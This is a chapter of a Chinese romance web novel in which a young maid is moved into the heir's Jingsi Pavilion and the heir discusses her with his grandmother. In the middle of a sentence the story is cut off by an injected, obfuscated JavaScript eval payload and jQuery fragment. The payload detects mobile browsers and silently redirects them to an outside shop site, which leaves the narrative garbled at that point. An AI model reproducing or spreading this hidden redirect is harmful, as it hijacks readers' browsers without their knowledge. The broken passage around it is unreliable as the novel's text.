“我跟世子回静思阁伺候。”
馥梨双手提着那只书箱,攥了攥提柄,“大太太说,席灵姐姐再有半个月要放良了,叫我去静思阁接她的差事。至于大姑娘院里,本来就不缺人。”
席灵是谁?
席灵是静思阁的婢女,因家乡遭水难,同亲人在逃离路上失散了成孤女,被老夫人遇见收了进府里。
近日机缘巧合和家人重逢,已经向大太太求了恩典,做完最后这一年就放良了。
陆执方还未想过找人接替,本就是祖母塞来的。
但这不会是母亲把馥梨调去静思阁的本意,正如她不会无缘无故叫馥梨去独幽亭送茶点那样。
陆执方抬起眼,朝同样关注这边的阿妹和蓝雪摆手,示意她们先离去。眼前少女到了清夏堂几日,从头到脚焕然一新,而眼眸里的那份静气没变过。
“知道静思阁在哪儿吗?”
“约莫知道的。”
“好,”他抬手,顿了顿后解下了腰间玉佩,“拿这个去静思阁找席灵,她自会安排。”
陆执方返回垂花门,身影消失在门后。
那玉佩挂在腰封上,本该是冷的,似在回来路上被陆执方无意识摩挲过,又被拢在斗篷之下,递到她掌心时,犹带了陆执方身上的暖意和衣裳的熏香。
馥梨垂眸看,玉质细润,水色丰盈,一看就是价值不菲的东西,握在掌心舒服,但总觉得会捏坏。
她按着记忆,来到静思阁院外。
人未入内,就见墙头蓬蓬翠云,是冬日依然苍劲的青松。看门小童跟照壁年纪差不多大,生得眉清目秀,性子不如照壁活泼,甚至还有几分腼腆。
“这位姐姐是哪个院的?何事来静思阁?”
“我是从前院调过来当差的。”
馥梨冲他展开躺在手心的玉佩,只想把这烫手山芋快快交出去。可她还未说完,小童圆目睁大,噔噔噔跑了,再回来时,身边跟了个着蓝裙套绣花白褂的秀丽女郎,女郎手里还落了几瓣嫩黄色的腊梅花瓣。
正是在堂屋里插梅瓶的席灵。
她疾步赶来,“世子爷有何事交待?”说话间,目光落到馥梨脸上时,亮了亮,好灵秀可爱的小姑娘。
待听见馥梨把大太太和世子两边交待的话都转述一遍,席灵的神色微妙起来。
静思阁里,除了南雁年纪小,得世子纵容,人人夹着尾巴当差。出了错漏,世子爷不罚也不骂,只拿一双眼静静看,好似在嘲弄,拿了这么高的月银,好意思办出这样轻省敷衍的差事?
静思阁除了公中工钱,还有世子爷自掏腰包补贴的伙食、四季新衣、年节封赏。
再有那愚钝得察觉不出主子不满的,悄无声息就被调到了别处,受到满府人恨铁不成钢的目光。
席灵习惯使然,心念飞转。
大太太拨过来接替她差事的婢女,该怎么教,怎么带,席灵很清楚。她初来乍到时,静思阁的老人洛嬷嬷就是这么带她的。
既如此,世子爷为何还要给馥梨玉佩?
世子怕眼前人被怠慢了。
席灵霎时反应过来:“馥梨姑娘请随我来。”
“席灵姐姐叫我名字就好,要是觉得不顺口,”馥梨想了想,略带迟疑道:“叫……小梨也行。”去恩孝寺的路上,就有嬷嬷这么唤过她,说更顺嘴。
席灵脚步一顿,回头看她神色认真,不似客套,可她哪能真喊,“我先带你熟悉一圈静思阁各处,这是小厨房,早中晚定时放饭,这是护卫住的地方,他们不会往婢女屋去,你知道这是哪儿避着些就成,对了,水井在东南角……”
席灵做事利索,说话也比寻常人快,身后小姑娘闷声跟着,若不是还有脚步声,她还以为人丢了。
绕完静思阁一圈,大太太那头的丫鬟送来了馥梨的随身物件,裹在一个绛紫色的包袱皮子里。
席灵顺手递去,讶然于它轻飘飘的重量,不禁脱口:“东西怎么这般少?”
“我来府里没多久,先前在洗衣房当差。”
席灵心里浮上来几种猜测,没露到面上,世子爷不喜一惊一乍,同样地,身边伺候的人就是再惊涛骇浪,也最好憋着,才不算碍他的眼。
她想了想,“先带你回屋,把行囊安置下。”
馥梨被领到了一间亮堂通透,格局方正的厢房。
里头物件一应俱全,床帘拉下来,隐约可见里头早铺好了软枕被褥。她拆了包袱皮子,把叠好的衣裙往衣柜里放,拉开柜门却愣住,里头空空如也。
“席灵姐姐,这里头,怎么没东西?”
席灵不以为意,“备用褥子拿去晾晒了,你先放着吧,待会儿要是缺了少了什么,我想办法添置。”
按静思阁的规矩,还未到做新春装的时候。
但眼前的小姑娘,显然是例外。
馥梨点头,衣裙塞进去,拢成一个小方块,挤到最靠边的地方,下一层放小衣服的地方,也是如此。
“……”席灵瞧得浑身难受。
她本来东西就少,便是横摆都铺不满,这样左重右轻,规整中透出了一种失衡。可万万不能叫世子瞧见。不对……世子应该也瞧不见吧?
“馥梨姑娘为何要这样……这样摆?”
席灵不解,馥梨看她的眼神亦透出困惑,“我一人都占满了,旁人的衣裳放在哪?”
席灵绕过了弯来,“静思阁里,就一个婢女。”
馥梨杏眼睁得大了些。
“可是这床帐……”
“这屋原本是我住。我快放良,只每日清晨入府,傍晚出府,床帐是白日歇晌用的。”
席灵怕她嫌弃:“床褥会换。但这屋是除了洛嬷嬷那间,婢女房里最好的,你要是想……”
“席灵姐姐,”少女来到静思阁后,第一次打断她的话,眼眸似有碎星,期待的亮光忽闪忽闪,“我真的可以一人住这么大的屋,用这么大的衣柜吗?”
她用手比划起来,“在后罩房,每人只得这么一小格柜子,这么宽的铺位。”就连她在清夏堂跟方嬷嬷学规矩,都要同别的婢女同住一屋。
眼前人竟当真不知,自己能够得到的优待。
席灵对上她认真懵懂的目光,心蓦地软了。
“把她调入静思阁,是我说服你母亲的。”
距离静思阁一南一北的静修室里,茶香幽幽。
祖母总是温柔慈爱的目光,看向了他,“你娘来找我,说想换成崔姨娘陪我静修,我多问一句,才知道是你的主意,陵哥儿,你素日不管这些的。”
陆执方歉然垂眸,避开了长辈洞明雪亮的眼神,“祖母不喜崔姨娘,是孙儿任性。”
“活到我这个岁数,没有什么喜不喜的,她来我这磨一磨性子,我正好叫你爹消停些。”祖母笑了,眼尾绽出来数道皱纹,“但这事是因为那小姑娘?”
陆执方在祖母这里坦然承认:“是。”
“你娘说你最近反常,总牵挂个小丫鬟。祖母问你,把她调到嘉月那里,你往后怎么办?”
“祖母何意?”陆执方蹙眉。
老夫人叹了一声,但愿不是多管闲事。
大房二房两个嫡孙,明明小时候性子差不多,都是上房揭瓦的小霸王,越长大越生出差天共地的脾性来。管亲妹妹要个婢女去做妾做通房的事,仲堪这个浑小子做得出,执方却做不出。
真调到嘉月院里,哪日后悔了没得回头。
“那你知道,你娘那般警惕,又逼你同二房的表姑娘接触,是为何吗?”
“母亲怕我未成婚先纳妾,愧对日后妻子。”
陆执方说到这里,已想明白。
祖母要馥梨入静思阁,母亲就叫她去独幽亭为他和戚幼晴斟茶递水,想叫她看清楚自己的位置。
祖母笑了:“那祖母为何如此呢?”
“祖母不怕。”
陆执方有几分动容,同时体会出更隐晦的意思。人有自持自制的理智,人亦有难以控制的七情六欲。祖母觉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14068843|148125||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
得他懂了男女之情后,会更早顺应家中安排。
“祖母知你做不出愧对日后妻子的荒唐事。难得有入了眼的姑娘,就放在静思阁挺好的。”
陆执方回到静思阁院门外,想的依旧是祖母说的这番话,心里并不赞同。他是怜惜,而非要攀折。
他分得清楚,他控制得了自己的心。
院门里欢声笑语,正是暮食快结束的时辰。
今日小厨房不知做了什么,饭菜香气格外浓郁。
他在院门外站得太久,久到南雁探出颗小脑袋,嘴角还沾了粒冒油光的米,“世子爷为何不进?”
陆执方跨了进去:“叫席灵还有馥梨来。”
南雁去喊人了。
他等在廊下,没一会儿,看到了席灵,还有她。小姑娘还穿着那身紫衫白裙,脸颊薄粉色,唇也格外嫣红,眸子亮晶晶地不知在开心什么,过分喜悦的情绪,直至来到他近前时才收敛了去。
席灵先开口:“爷有何吩咐?”
“她的东西安置好了?住哪?”
“就住我原来那屋,那间最宽敞。”
“带路。”
席灵整个人愣住,她住西屋时,世子爷连她屋门朝哪边开都不知道,眼下要进去?她缓缓抬头,同他确认,自己没领会错他的意思,又去看馥梨。
陆执方也在看,馥梨神情自若,想来行囊都归置好了,屋内并没有什么不适合看的物什。
席灵带路,推开了那扇门,审视起来。
坦白地说,这屋并没有随新主人的到来,而产生太多改变,馥梨带来的东西少,能摆到台面的更少。
馥梨也在看。
不过她每看一处,都觉得很满意。
陆执方在屋中站定,目光梭巡一圈,示意席灵先离去,留屋门敞开着。他撩袍,施施然坐了下来。
“来时在做何事?”
“小厨房在放饭,做了萝卜炖牛肉。”
馥梨答得飞快。
陆执方好笑,谁问后面这个了,他扬了扬眉,“我的笔墨纸砚,怎没在屋内摆?”
馥梨一愣,吃饭热得暖烘烘的脸颊又烫了一些,世子在亭内叫她画画,她就猜到在旧书房画的或许被看见了,因为醒来时,窗台那幅字帖不见了。
那世子也知道,她偷偷把东西拿来自己用了。
“婢子是看,那些东西丢了挺可惜的……”
“没问这个,问你怎不摆?”
“不太方便。”
先在后罩房,后去清夏堂,随身带都是麻烦。这不是她捡的断笔断墨,是完完整整的好用的东西。要再碰见淑澜苑这样的事情,她百口难辩。
“我给藏起来了。”
“藏哪儿了?”
馥梨觑他一眼,世子气慢悠悠掀了掀眼皮,“你老实说,我便不怪你。”
“畅和堂书房的窗,我离去时,合上了,但是没插销,在外头推一推就能伸手够着,再取出来。”
陆执方了然,照壁年纪小做事毛躁,锁书房看见窗关了,想当然不会去检查插销,把锁一挂就走了。
“还挺有办法。”
馥梨眨眨眼,没敢接这句夸。
“往后就摆屋里,静思阁无人敢置喙。”他当真没追究,挥挥手让她走。馥梨像模像样地一躬身,布裙旋出轻盈一蓬,忽而顿住,“世子……”这是我的屋。
席灵姐姐说,这屋从今日起属于她的了。
陆执方斜她一眼,“静思阁都是我的,坐不得?”
“坐得。”她连忙给他倒了茶水,轻轻退了出去。
陆执方收回视线,看向窗台,底下摆了一张长条案,太窄了,宣纸铺不开;看向鼓凳,雕花不好看,同桌案的高度也不配称;他看来看去,除了格局正,光线好,屋内陈设没有值得细看之处。
半晌,啜了一口茶,皱皱眉,连茶叶都想换。
她在静思阁了,在他的静思阁。
他可以亲眼看她过得更好了。